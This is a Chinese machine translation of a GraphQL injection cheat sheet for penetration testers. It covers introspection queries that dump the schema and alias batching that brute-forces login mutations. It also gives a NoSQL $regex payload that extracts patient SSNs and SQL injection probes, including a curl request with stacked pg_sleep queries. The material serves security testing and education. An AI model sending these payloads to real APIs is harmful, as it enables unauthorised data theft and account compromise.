GraphQL 注入 GraphQL 是一种用于 API 的查询语言,也是一种使用现有数据来满足这些查询的运行时。GraphQL 服务是通过定义类型及其字段,然后为每个类型的每个字段提供函数来创建的。 摘要 工具 枚举 常见的 GraphQL 端点 识别注入点 通过自省枚举数据库模式 通过建议枚举数据库模式 枚举类型定义 列出到达某个类型的路径 方法论 提取数据 使用边缘/节点提取数据 使用投影提取数据 突变 GraphQL 批处理攻击 基于 JSON 列表的批处理 基于查询名称的批处理 注入 NoSQL 注入 SQL 注入 实验 参考文献 工具 swisskyrepo/GraphQLmap - 用于渗透测试目的与 GraphQL 端点交互的脚本引擎 doyensec/graph-ql -
GraphQL 是一种用于 API 的查询语言,也是一种使用现有数据来满足这些查询的运行时。GraphQL 服务是通过定义类型及其字段,然后为每个类型的每个字段提供函数来创建的。
大多数情况下,GraphQL 位于 /graphql 或 /graphiql 端点。
更完整的列表可在 danielmiessler/SecLists/graphql.txt 中找到。
/v1/explorer /v1/graphiql /graph /graphql /graphql/console/ /graphql.php /graphiql /graphiql.php
example.com/graphql?query={__schema{types{name}}} example.com/graphiql?query={__schema{types{name}}}
检查错误是否可见。
?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist}
用于转储数据库模式的 URL 编码查询。
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
用于转储数据库模式的 URL 解码查询。
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
无需片段即可转储数据库模式的单行查询。
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
当你使用未知关键字时,GraphQL 后端会返回与其模式相关的建议。
{ "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?", }
当无法访问 GraphQL API 的模式时,你还可以尝试使用诸如 Escape-Technologies/graphql-wordlist 之类的单词表来暴力破解已知的关键字、字段和类型名称。
使用以下 GraphQL 查询枚举感兴趣类型的定义,将 "User" 替换为所选类型
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
$ git clone https://gitlab.com/dee-see/graphql-path-enum $ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill Found 27 ways to reach the "Skill" node from the "Query" node: - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (query) -> Query (skills) -> Skill
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

{ "query": "query { teams{ total_count,edges{ node{ id,_id,about,handle,state } } } }" }
⚠️ 不要忘记对 options 中的引号进行转义。
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
变异就像函数一样,你可以用它们与 GraphQL 进行交互。
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}} # mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
常见场景:
批量查询是 GraphQL 的一项功能,允许在单个 HTTP 请求中向服务器发送多个查询。客户端可以将一组查询作为单个 POST 请求发送到 GraphQL 服务器,而不是为每个查询发送单独的请求。这减少了 HTTP 请求的数量,并可提高应用程序的性能。
批量查询通过在请求体中定义操作数组来实现。每个操作可以有自己的查询、变量和操作名称。服务器会处理数组中的每个操作,并为批次中的每个查询返回一个响应数组。
[ { "query":"..." },{ "query":"..." } ,{ "query":"..." } ,{ "query":"..." } ... ]
{ "query": "query { qname: Query { field1 } qname1: Query { field1 } }" }
使用别名多次发送相同的变异
mutation { login(pass: 1111, username: "bob") second: login(pass: 2222, username: "bob") third: login(pass: 3333, username: "bob") fourth: login(pass: 4444, username: "bob") }
由于 GraphQL 只是客户端和数据库之间的层,SQL 和 NoSQL 注入仍然可行。
使用 $regex inside a search 参数。
{ doctors( options: "{\"limit\": 1, \"patients.ssn\" :1}", search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }") { firstName lastName id patients{ssn} } }
在 GraphQL 参数中发送单引号 ' 以触发 SQL 注入
{ bacon(id: "1'") { id, type, price } }
GraphQL 字段中的简单 SQL 注入。
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。